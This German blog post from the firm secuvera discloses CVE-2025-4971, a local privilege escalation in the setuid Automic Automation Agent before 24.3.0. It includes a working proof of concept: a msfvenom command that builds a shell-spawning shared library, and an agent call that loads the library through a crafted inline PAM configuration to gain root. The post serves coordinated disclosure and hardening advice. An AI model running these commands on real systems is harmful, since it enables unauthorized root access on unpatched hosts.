20. Mai 2025

secuvera-SA-2025-01: Privilege Escalation in Automic Agent <24.3.0

Zum 12.05.2025 veröffentlichten wir unser Advisory zu einer Privilege-Escalation-Schwachstelle in der „Agent“-Komponente von Automic Automation. Wir wurden von einem Kunden beauftragt, die verschiedenen Teile der Automic Integration unter die Lupe zu nehmen. Unter anderem konnten wir dabei eine Schwachstelle identifizieren, die darauf beruht, dass der Agent in einem privilegierten Modus ausgeführt wird und so zur Rechteausweitung verwendet werden kann, sofern es Angreifer:innen gelingt, den Programmablauf des Agents unter ihre Kontrolle zu bringen.

Dies ist ein grundsätzliches Risiko, das auftritt, wenn eine ausführbare Datei auf einem unixoiden Betriebssystem mit dem SetUID-Bit gekennzeichnet wird. Dieses sagt aus, dass die Datei nicht mit den Berechtigungen des aufrufenden Benutzerkontos ausgeführt wird, sondern mit den Berechtigungen jenes Benutzerkontos, das im Dateisystem als Besitzer hinterlegt ist. Handelt es sich dabei um den Root-Account, wird die Datei also mit erhöhten Berechtigungen ausgeführt.

Ein Programm mit SetUID-Bit muss also sicherstellen, dass ein Ausbruch aus dem vorgesehenen Programmablauf oder das beliebige Schreiben oder Lesen von Dateien mit einer Berechtigungsprüfung versehen ist und ggf. verhindert wird. Dies wurde im Falle des Automic Agents versäumt.

In der Konfigurationsdatei des Agents kann der Parameter „libName“ gesetzt werden, der auf eine beliebige Programmbibliothek verweist, die die Pluggable-Authentication-Modules-(PAM)-API implementiert. In de Art eines Plugin-Systems kann der Agent so von beliebigen PAM-Implementierungen Gebrauch machen. So ist es aber auch möglich, dem Agent eine andere Programmbibliothek unterzuschieben, die dann automatisch geladen und ausgeführt wird.

Voraussetzung hierfür ist es, dass die Konfigurationsdatei kontrolliert werden kann. In einer angemessen gehärteten Umgebung werden die Berechtigungen für diese Datei natürlich so gesetzt, dass es Benutzer:innen nicht möglich ist, diese einfach zu manipulieren. Die Lösung für dieses Problem bringt der Automic Agent selbst mit. Über den Kommandozeilenparameter „ini“ kann der Pfad der Konfigurationsdatei frei angegeben werden, sodass nicht auf die geschützte Datei aus dem Anwendungsverzeichnis zurückgegriffen werden muss.

Um den Angriff durchzuführen, müssen wir diese beiden Tatsachen nur noch zusammenbringen. Zunächst verwenden wir das Werkzeug msfvenom, um uns eine Programmbibliothek zu generieren, die, wenn sie geladen wird, eine Shell öffnet und uns so die Kontrolle über den Programmablauf übergibt. Diese legen wir einfach im frei schreibbaren /tmp/-Verzeichnis ab.

msfvenom -p linux/x64/exec PrependSetuid=True PrependSetguid=True CMD="/bin/sh" -f elf-so > /tmp/sh.so

In einem realen Angriffsszenario kann diese auch auf einem anderen System vorbereitet und übertragen werden.

Nun müssen wir nur noch den Agent mit einer Konfigurationsdatei ausführen, die auf /tmp/sh.so verweist. Um uns das Schreiben einer weiteren Datei zu sparen, können wir den Inhalt einfach direkt in der Shell übergeben.

./ucxjlx6 ini=<(echo -e "[GLOBAL]\nhelplib = /dev/null\nsystem = blep\n[MISC]\nauthentication = PAM\n[PAM]\nlibName = /tmp/sh.so\n[VARIABLES]\nUC_EX_JOB_MD=blep")

Mit diesem Aufruf geht unsere neue Shell auf, und wir können feststellen, dass wir nun über Root-Berechtigungen verfügen.

Lernen können wir daraus:

  • Aus großer Macht folgt große Verantwortung. Das gilt besonders für SetUID Executables.
  • Plugin-Systeme vergrößern die Angriffsoberfläche.
  • Es muss analysiert werden, welche Parameter eines Programmes sicherheitsrelevant sind, und ggf. entsprechende Restriktionen implementiert werden.

Die Schwachstelle wurde am 21.01.2025 an das Broadcom Product Security Center gemeldet. Eine Behebung erfolgte am 17.03.2025 mit der Version 24.3.0. Unser Advisory findet sich unter secuvera-SA-2025-01. Nach CVSS 4.0 bewerten wir den Schweregrad der Schwachstelle mit einem Wert von 8,4 (High). Die Schwachstelle fällt in die CWE-Kategorie 426 (Untrusted Search Path).

Broadcom hat ebenfalls ein Advisory CA20250520-01: Security Notice for Automic Automation Agent Unix veröffentlicht. Es wurde die CVE-2025-4971 vergeben.

Wir bedanken uns bei unserem Kunden, der uns die Möglichkeit eröffnet hat, das Produkt zu prüfen, und beim Broadcom Product Security Center für die angenehme Zusammenarbeit im Disclosure-Prozess.